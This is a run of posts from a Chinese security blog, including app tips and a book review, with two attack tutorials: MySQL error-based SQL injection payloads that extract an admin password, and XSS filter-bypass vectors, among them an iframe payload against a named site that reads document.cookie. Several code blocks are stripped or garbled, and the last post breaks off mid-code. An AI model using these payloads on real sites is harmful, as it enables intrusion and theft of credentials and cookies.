Ourren

关注技术,记录生活.

浅谈移动平台优秀应用与学习方法

| 留言

移动应用       根据摩尔定律:每一美元所能买到的电脑性能,将每隔18个月翻两倍以上,由此可以看到科技更新的速度。同时移动互联网行业也不甘示弱,根据最近的数据显示国内移动终端已经突破4亿,可以想象这是一个多大的市场【1】。移动平台中Android、IOS与WP日益强大,而Symbian、BlackBerry份额逐渐萎缩,而ubuntu、firefox最近又推出移动平台,也想分得移动平台一杯羹(个人比较看好ubuntu)。

科技都在进步,博主不得不跟上时代发展,终于从Nokia转到Android,拥有一部android手机了。在近一个多月的时候和研究中发现一些比较好的应用,这些应用可以辅助个人学习或者丰富日常生活。因此不敢独享,分享给大家(再说这些应用基本上都是免费的,有义务推广下,激励开发者写出更好的应用)。在博文前面也有写个人平时的学习方法可以参考,详见(浅谈个人学习方法与知识管理)。

  • GTD计划类

Doit.im/Any.do

用于个人的日程安排与提醒,记录平时Idea与个人计划。功能方面差不多,前者免费版有限制,后者则是完全免费的。由于个人手机系统使用any.do会造成死机,暂时使用前者作为计划类应用。

  • 资讯类

网易云阅读/Zaker

两者功能和界面基本上都一样,主要用于WIFI离线阅读,然后业余空闲时间或者坐车时浏览,感觉不错的可以收藏然后WEB方式浏览。内容包含以下几类:新闻资讯(新闻头条、南方周刊等)、技术资讯(cnbeta、36kr、虎嗅、爱范儿等)、技术讨论(知乎每日精选等)。

  • 技术类

     gReader Pro + Pocket

这里强烈推荐下gReader,作为GR阅读的Android客户端,绝对符合你的胃口,满足你的需求。可以实现离线阅读(自动优化网页阅读效果),并支持加星同步。

Pocket则用于在平时上网中看到不错的网址或者文章,用Pocket Chrome插件收藏,然后利用WIFI同步到手机端。这里之所以推荐Pocket,是因为一些需要翻墙的网页也可以离线。

  • 书籍类

多看/iReader + 书香云集

用于阅读一些个人传记、生活鸡汤、历史等。特别推荐书香云集,不为别的,只因为盗版书多多,试试就知道

  • 笔记类

Evernote/有道云笔记

用于书写文章,管理优质文章,或者写点小东西同步使用。

学习方法

      因此总的说来,主要是利用WIFI离线功能,提取有用资料;然后善于将碎片时间利用起来学习,达到有效地利用时间。

参考

  1. 第31次中国互联网络发展状况统计报告:http://www.cnnic.cn/hlwfzyj/hlwxzbg/hlwtjbg/201301/P020130122600399530412.pdf

《小狗钱钱》读书笔记

| 留言

小狗钱钱配图

过年回家的火车上把《小狗钱钱》看了一遍,虽说书籍也不长,语言也很通俗易懂(毕竟是写给小孩子看的,^_^),但是还是让我对书本所表达的思想有所想,心里有所澎湃(火车上3个小时直接不休息就连着看完了)。书籍讲述的是叫做钱钱的小狗与小女孩吉娅之间的一些事,钱钱帮助吉娅树立信心、制定自己的愿望、挣钱与合理投资等方面指导,总的说来有以下几个方面的收获:

  1、抓住瞬间想法

      每个人每天都会有很多想法,但是有多少人会记得前段时间自己有过哪些想法。由于人的记忆特征,瞬间的想法最容易被丢失,而很多时候一个瞬间的想法可以改变人生、改变命运,因此,我们需要随时将一些瞬间想法记录下来。这个思想复合GTD的思想,随时将想法丢进收集箱,最好是手机上安装一个GTD软件(例如any.do、wunderlist等免费软件)。

 2、选择最重要的

懂得取舍,选择最重要的。生活中面临很多选择和很多愿望、计划,当面临选择的时候如何进行选择。精力集中在自己能做的、知道的和拥有的东西上,理清哪些对你是最重要的,至少你已经迈出了关键的第一步。

3、时刻提醒自己

有了目标,得时刻提醒自己,比仅仅是让自己主动去提醒自己,也可以制造一些环境让自己被动地提醒。比如在办公桌上放一个去夏威夷旅游的照片时刻提醒你不要忘记你自己的愿望。同时密切关注一切可以帮助你实现这些愿望的机遇了,机遇可遇不可求,一旦失去就不在了。

4、自信些

不管做任何事最关键的因素并不在于你是不是有一个好点子,你有多聪明也不是主要原因,决定因素是你的自信程度。自信是很容易树立的。你想知道应该怎样做吗??—–你拿一本空本子或者一本日记本,给它取名叫做‘成功日记’。然后你就把所有做成功的事情记录进去。你最好每天都做这件事,每次都至少写五条你个人的成果。任何小事都可以。开始的时候也许你觉得不太容易。也许你会问自己,这件或那件事情是否真的可以算作成果。在这种情况下,你永远应该做出肯定的回答。过于自信比不够自信要好得多。

5、善于理财

善于投资与理财,让“鹅”生“蛋”。宽裕的时候进行投资,以防不备。

 

最后附上钱钱的金钱语录

金钱有一些秘密和规律,要想了解这些秘密和规律,前提条件是,你自己必须真的有这个愿望。

如果你只是带着试试看的心态,那么你最后只会以失败而告终,你会一事无成。尝试是一种借口,你还没有做,就已经给自己想好了退路。不能试验,你只有两种选择,做或者不做。 你能否挣到钱,最关键的因素并不在于你是不是有个好点子。你有多聪明也不是主要原因,决定因素是你的自信程度。 你要想清楚你的兴趣所在,然后再考虑如何通过它来挣钱。 你要每天不间断地去做对你未来意义重大的事情。你为此花费的时间不会超过10分钟,但是就是这10分钟会让一切变得不同。 欠债的人应当取消所有的信用卡。 应当尽可能地偿还贷款。 应当将不用于生活的那部分钱中的一半存起来,另一半用于还债。最好根本不要申请消费贷款。 每次借债前先问自己:“这真的有必要吗?” 当你定下了大目标的时候,就意味着你必须付出比别人多得多的努力。 贫穷更让人不幸。 假如我没有了我的“鹅”,我就总是得为了赚钱而工作。但是一旦我有了一只“鹅”,我的钱就会自动为我工作了。 幸运其实只是充分准备加上努力工作的结果。 钱只会留在那些为之付出努力的人的身边。用非法手段取得不义之财的人,反而会比没钱的时候感觉更糟糕。 恐惧总是在我们设想事情会如何不顺的时候出现。我们对失败的可能性想得越多,就越害怕。而当你朝着积极的目标去思考的时候,就不会心生畏惧。 每当冬天过去,春天就来了,接着是夏天,每个夏天之后又跟着是秋天,然后又是冬天,年年如此。跟大自然的变化一样,交易所里也总有四季更替,循环往复。 如果你没有做今天这件事情,你就永远不会知道,给自己一些压力之后,你能够做到写什么。一个人觉得最自豪的事情,是那些做起来最艰难的事情。

跟我一起学Ajax爬虫原理(系列1)

| 留言

转载请注明:文章出自http://blog.ourren.com by ourren

目录 1、引言 2、研究现状 3、论文实例讲解 4、总结 参考文献

1、引言 随着WEB2.0流行开源,DIV+CSS已经成为网站开发的标配,而Ajax则是在这个中间起着连贯不同页面的粘合剂。这给爬虫开发人员来带来了较大的压力,不管是搜索引擎开发人员,还是我们这些安全屌丝,如何最全面地爬取网站链接和参数已经成为如何优于其他同类产品的优势,比如最近崛起的AISEC扫描器[1],其主打首款支持AJAX爬虫检测的特点更是在其他安全产品中脱颖而出,受到安全人员的好评,那么AJAX爬虫究竟是如何工作的呢,作者带着这个疑问对相关技术进行了理解,现分享如下。PS,如何你还不知道什么是Ajax、DOM的话,最好Google下(多搜索对你有好处~)。 2、研究现状 AJAX,也就是Asychronous Javascript and XML,由于采用了Javascript驱动的异步请求/响应机制,以往的爬虫们缺乏Javascript语义上的理解,基本上是无法模拟触发Javascript的异步调用并解析返回的异步回调逻辑和内容。另外AJAX的应用中,Javascript会对DOM结构进行大量地变动,甚至页面所有的内容都是通过Javascript直接从服务器端读取并动态绘制出来,这个对于“习惯了”DOM结构相对不变的静态页面,简直是无法理解的.由此可以看出,以往的爬虫是基于协议驱动的,而对于AJAX这样的技术,所需要的“爬虫”引擎必须是基于事件驱动的。要实现事件驱动。

学术界发表的相关论文有Crawling Ajax-driven Web 2.0 Applications[3],AJAX Crawl:Making AJAX Applications Searchable[4]等(下个系列再添加)其中第一篇文章中采用的是rbNarcissus(验证和分析Javascript代码,非执行)[5], Watir(一款基于ruby的自动化测试工具,通过代码操作浏览器)[6],提出了这类爬虫面临这下面三方面的问题:

  • Javascript分析与Ajax之间的交互
  • DOM事件的处理和解释分发
  • 动态DOM内容语义的创建

3、论文实例讲解 第一篇文章中的作者从三方面解决上面的问题:

  • 如何处理事件驱动的爬虫?

例如一个网站的源码是:

[code]<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”> Dynamic site

[/code]

很明显,如果基于协议的爬虫是无法爬取该网站的链接和内容的,页面的内容是通过Javascript来动态创建的,而这类创建一般都是通过XHR请求来创建的。

  • 如何分析Javascript代码?

我们需要工具来对网页中的Javascript进行分析,看是否调用了XHR,这里就可以用rbNarcissus来进行分析

[code]D:\crawl-ajax> jsparser.rb master.js —- XHR call mapping —- http.onreadystatechange getQuote[XHR found] getPrice loadmyarea[XHR found]

loadhtml[XHR found]

—- Function mapping —- http.onreadystatechange getQuote [+]http.onreadystatechange getPrice [+]getQuote loadmyarea [+]http.onreadystatechange loadhtml [+]http.onreadystatechange ————————–[/code]

处理结果发现有XHR调用,并得出了一些内部关联getQuote,loadmyarea和loadhtml,因此就需要浏览器去触发这类行为。

  • 利用IE和Watir进行测试?

可以利用一些自动化工具进行测试,为了更好地观察效果,采用irb(命令行交互)进行测试,如何要更好地查看网络通信,可以用burp设置代理。

[code]D:\crawl-ajax> irb –simple-prompt

require ‘watir’ => true include Watir => Object require ‘webtraffic’ => tru[/code]

新建IE对象

[code]>> ie=IE.new[/code]

请求页面,

[code]>> ie.goto(“http://ajax.example.com”) => 4.847[/code]

查看页面链接

[code]>> ie.show_links index name id href text/src 1 Login http://ajax.example.com/login.asp 2 News http://ajax.example.com/news.asp 3 Your area Javascript:loadmyarea()

=> nil

[/code]

可以看到有三个链接,通过发现一个链接还有JavaScript代码,打开链接3,

[code]>> ie.links[3].html => “Your area

ie.links[3].href => “javascript:loadmyarea()”[/code]

再次点击页面:

[code]>> ie.links[3].click => “”

[/code]

最后这个链接生成了个人页面。

通过前面的技术得到了下面这些链接:

[code]>> ie.show_links index name id href text/src 1 http://ajax.example.com/login.asp Login 2 http://ajax.example.com/news.asp News 3 javascript:loadmyarea() Your area 4 http://ajax.example.com/trade.asp Online trade 5 http://ajax.example.com/bank.asp Your Bank 6 http://ajax.example.com/mail.asp Mail => nil

[/code]

下面继续分析按钮事件:

[code]>> ie.buttons.length => 1

ie.buttons[1].html => “” ie.buttons[1].click => “” [/code]

发现这个页面调用了getPrice这个函数,而这个页面又将参数提交到了/myquote.asp这个页面

通过XHR和按钮就把页面所有的内容全部链接抓出来了。

4、本节总结

这节主要对AJAX爬虫的需求出发,阐述了该类爬虫面临的一些困难,并以一篇paper进行阐述其详细过程,通过这个实例相信对整个过程也有一定的了解,下篇文章继续,周末愉快~

参考文献 1)AIScanner http://www.aisec.cn 2)网络爬虫如何抓取web2.0 Ajax页面 http://blog.minidx.com/2007/10/31/39.html 3)Crawling Ajax-driven Web 2.0 Applications http://www.infosecwriters.com/text_resources/pdf/Crawling_AJAX_SShah.pdf 4)AJAX Crawl: Making AJAX Applications http://e-collection.library.ethz.ch/eserv/eth:30709/eth-30709-01.pdf 5)rbnarcissus http://code.google.com/p/rbnarcissus/ 6) Watir http://watir.com/

关于Mysql注入过程中的三种报错方式

| 留言

放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。

实际测试环境:

[code]mysql> show tables; +—————-+ | Tables_in_test | +—————-+ | admin          | | article        | +—————-+[/code]

 

[code] mysql> describe admin; +——-+——————+——+—–+———+—————-+ | Field | Type             | Null | Key | Default | Extra          | +——-+——————+——+—–+———+—————-+ | id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | user  | varchar(50)      | NO   |     | NULL    |                | | pass  | varchar(50)      | NO   |     | NULL    |                | +——-+——————+——+—–+———+—————-+[/code]

 

[code] mysql> describe article; +———+——————+——+—–+———+—————-+ | Field   | Type             | Null | Key | Default | Extra          | +———+——————+——+—–+———+—————-+ | id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | title   | varchar(50)      | NO   |     | NULL    |                | | content | varchar(50)      | NO   |     | NULL    |                | +———+——————+——+—–+———+—————-+[/code]

1、通过floor报错

可以通过如下一些利用代码

[code]and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);[/code] [code]and (select count() from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1), floor(rand(0)2)));[/code]

举例如下: 首先进行正常查询:

[code]mysql> select * from article where id = 1; +—-+——-+———+ | id | title | content | +—-+——-+———+ |  1 | test  | do it   | +—-+——-+———+[/code]

假如id输入存在注入的话,可以通过如下语句进行报错。

[code]mysql> select * from article where id = 1 and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’[/code]

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。 例如我们需要查询管理员用户名和密码: Method1:

[code]mysql> select * from article where id = 1 and (select 1 from (select count(),concat((select pass from admin where id =1),floor(rand(0)2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’[/code]

Method2:

[code]mysql> select * from article where id = 1 and (select count() from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1), floor(rand(0)2))); ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’[/code]

2、ExtractValue 测试语句如下

[code]and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));[/code]

实际测试过程

[code]mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));– ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’[/code]

3、UpdateXml 测试语句

[code]and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))[/code]

实际测试过程

[code]mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, (select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: ‘^$admin888^$’[/code]

All, thanks foreign guys.

数据挖掘之朴素贝叶斯算法

| 留言

Author:youstar

Blog:http://blog.ourren.com

最近由于需求翻阅了一些数据挖掘相关资料,对数据挖掘过程中的分类技术进行了理解和研究,遂记录如下。

1、数据挖掘概述

数据挖掘,就是提取或者挖掘数据,主要通过对已获得的大量数据进行深度整理和分析,其分析结果可以反映过去结果和预测未来趋势。目前几种典型的数据挖掘研究有:关联规则、分类、聚类、预测、web挖掘等。分类挖掘可以从数据中提取相关特征,然后建立相应模型或者函数,并把数据中的每个对象归类到特定分类。例如: 可以检测邮件是否为垃圾邮件,检测数据是否为攻击数据,样本是否为恶意程序等等这些都可以通过分类挖掘实现,而分类挖掘中又分为决策树方法、统计学方法、贝叶斯网络、神经网络等其他分类技术。

2、朴素贝叶斯算法

贝叶斯分类是一种基于统计学的分类方法,就是大学学的概率统计神马的。朴素贝叶斯算法是在贝叶斯算法上基于独立假设的贝叶斯定理的简单概率分类器,因此这里谈到技术的就是数据挖掘中很小的一部分了。其主要基本思路如下:

需求分析——>提取特征——->训练样本——–>检测特征——->计算后验概率——>判定

首先是需求分析,我们需要清楚自己的目的:即对这些数据分析能够得出什么结果?我们需要什么结果?一个分类模型;还是其他。例如:我们需要对大量的邮件进行分析处理,最终需要建立一个模型能够自动判定一封邮件是够为垃圾邮件或者正常邮件,因此,最终我们只有两个类别,即垃圾邮件、正常邮件。这就是我们的需要。

其次是提取特征,需要对待分析的数据进行详细分析,提取不同点。例如,我们需要研究正常邮件与垃圾邮件有哪些方面的不同,垃圾邮件具有哪些特性,而正常邮件具有额外的哪些特性。一般来讲,垃圾邮件内容中往往含有图片、链接、邮件头、多个收件人、HTML标签问题等比较特殊的特征,而正常邮件一般没有这些特征。

再次是训练样本,这个步骤一般是提取大量样本按照其上一步提取的特征值进行分析并统计,得到一个比较详细的特征统计表。例如:随机从邮件服务器中提取1000封邮件,然后对每封邮件内容按照前面提到的特征进行统计分析。

再次是检测特征,通过前面的过程我们已经建立了一个朴素贝叶斯模型,我们可以通过编写代码实现自动检测特征。例如,可以通过python或者c++实现文本的特征匹配,这里可以采用其他文本匹配算法。

再次是计算后验概率,根据朴素贝叶斯算法,可以计算在已知分类情况下的特征概率,即先验概率。例如,我们可以计算在假定为正常邮件情况下,文本特征有:图片、链接、多个收件人的情况下概率P(图片|垃圾邮件)、P(链接|垃圾邮件)等,然后我们在计算假定为垃圾邮件情况下,文本特征有图片、链接、多个收件人的情况下概率P(图片|正常邮件)、P(链接|正常邮件)等.

最后,我们可以通过比较先验概率的值和概率来判定该样本属于哪种类型。例如:分别计算P(垃圾邮件)P(图片|垃圾邮件)P(链接|垃圾邮件)….与P(正常邮件)P(图片|正常邮件)P(链接|正常邮件)….,然后看那个值比较大,从而判定属于这个类别。

系统性能指标一般会通过正确率、准确率、召回率这三个指标进行评定。

3、总结

整体来说,整个过程还是比较复杂,特别是样本特征方面,需要考虑比较周全然后其效果才会更加明显,而训练样本的值也会影响最终结果。网上也有一个比较简单的实例,python实现的Naive Bayes[文献3],大伙可以参考。附带几篇比较好的文章。

4、参考资料

(1)范明.范宏建《数据挖掘导论》

(2)焦李成.《智能数据挖掘与知识发现》

(3)Naive Bayes的Python实现

(4)基于朴素贝叶斯分类器的文本分类算法(上)

(5)贝叶斯推断及其互联网应用(一):定理简介

(6)贝叶斯推断及其互联网应用(二):过滤垃圾邮件

跨站测试与利用中的绕过技术

| 留言

1.1 bypass Char

通常有安全意识的程序员往往会对输入进行一定的过滤,比较常见的是针对某一关键符号进行过滤,比如“<”或者“>”,这种方式很多时候是无法防止攻击的,更安全的方式是通过编程语言提供的函数在输出的时候进行过滤。

本节主要针对单字符过滤进行研究,分为引号、尖括号、括号这三个符号进行研究。

1.1.1 引号

在跨站测试中很多的vector(即攻击向量)本身是不包含引号的,例如下面的一些vector。但是在利用中经常需要使用引号,如果对引号进行了过滤,可以采取如下措施进行绕过。 [code lang=“javascript”] vector:

<iframe/onload=alert(/ourren_demo/)>

ourren_demo here.

[/code] 1)String.fromCharCode

fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用,例如: [code lang=“javascript”] —–> [/code] 2)location.hash

将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制。 [code lang=“javascript”] #alert(‘a’)[/code]

1.1.2 尖括号

通常程序员为了偷懒都只会过滤尖括号,因此尖括号在跨站过滤中遇到情况最多。一般情况下如果输入没有显示在其他标签里,那么基本上是没有办法进行攻击的,但是如果是输出到其他标签里,则可以结合上下标签进行如下测试:

1)事件函数

常用的一些事件函数有:onerror、onmouseover、onload等(同时可以关注下HTML5新标签),需要的时候可以对JavaScript的事件函数进行fuzz。 [code lang=“javascript”]

ourren_demo here.

[/code]

2)style与expression

通过标签的style样式进行跨站(测试中只有IE成功,同时还得考虑filter问题)。 [code lang=“javascript”]

[/code]

3) JavaScript伪协议

JavaScript伪协议进行绕过。

[code lang=“javascript”] (仅IE) [/code]

1.1.3 括号

如果测试中发现括号被过滤了,或者无法注入括号,可以进行如下测试:

1)外部文件

通过src引入外部文件,而利用代码放在外部文件中(其中外部文件的后缀可以不为js)。

[code lang=“javascript”] [/code]

2)hex、dec编码

利用十六进制与十进制进行编码。

[code lang=“javascript”]

xsser
[/code]

1.2 bypass filter

针对跨站问题日益严重,浏览器厂商从自身浏览器安全出发推出了各自的跨站过滤器。但是这类过滤器基本上只支持反射型跨站,其他类型跨站基本不受影响。

各种浏览器采用的防御机制各不相同。反射型跨站防御方面:Firefox基本没什么防御,而IE和chrome都有各自的防御机制,并且都很难绕过,这里主要总结下现有的一些可以绕过机制。

1.2.1 IE Filter

IE从IE7就支持XSS Filter,其整体架构可见参考文献1,正则匹配部分可以参见文献2。实际处理步骤可分为三步:首先对IE进行启发式过滤(heuristic filters,正则匹配);如果在HTTP请求中匹配到这些特征,那么就做一个动态签名(create dynamic signature);如果在HTTP响应中有原来的签名,那么就进行替换修改(neuter response)。在IE全补丁下进行测试,现有公布的绕过技术基本上很少,先总结如下:

1

针对普通的反射型跨站,可以利用A标签和“sc%0aript”实现绕过,不过需要用户交互,这里需要美工师咯。其实原理是页面输出后这两个页面属于同一域,因此不会产生过滤。如果href里面的地址是不同域就会产生过滤。

[code lang=“javascript”] alert(/ourren_demo/)”>

[/code]

2)utf7

通过UTF7-BOM实现注入代码,全补丁情况下只有当header里编码为utf-7才能成功,可以参考文献3。

[code lang=“javascript”] %2BACIAPgA8-script%2BAD4-alert%28/ourren_demo/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J [/code]

3) Flash

www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。当受害者打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据,参见文献8。

测试代码如下(IE):

[code lang=“javascript”] <iframe/src=“http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data= (function(){location.href=%22javascript:‘’%22})()”> [/code]

在chrome中,可能会导致浏览器崩溃,可以改用以下代码。

[code lang=“javascript”] <iframe/src=“http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data= (function(){alert(document.cookie)})()”> [/code]

1.2.2 chrome filter

chrome浏览器针对xss过滤规则跟IE有比较大的区别,不同版本的chrome测试也会不同,现有的资料可以参考文献4、5。

1)  data协议

[code lang=“javascript”] ?vuln=click //会拦截 –>转换成 click //bypass ?vuln=click ->OK [/code]

1.3 bypass richtext

富文本常见类别有留言,日志或者邮件等。与一般的跨站相比它可以使用现有的标签进行测试分析。一般过滤机制分为两种:黑名单、白名单,这两类机制实质都是基于正则匹配进行过滤,因此在测试过程中需要对比输入和输出,然后进行针对性变化。

常见测试流程:输入常见标签和事件——>是否有存在的标签没有过滤——->变形或者分析其属性

标签:object, applet, base, link, meta, import, embed, vmlframe, iframe, script, style, isindex, formtextarea

字符:javascript:, vbscript:

事件:onload,onerror,on*

1.3.1 绕过规则

本小节将一些常见的一些变化规则进行了归类,实际测试中结合多种方式进行组合测试。

 1)未递归过滤

很多富文本过滤都是针对关键字过滤,但是没有进行递归过滤,导致过滤后的结果重新组成新的标签,例如:

[code lang=“javascript”] <ifra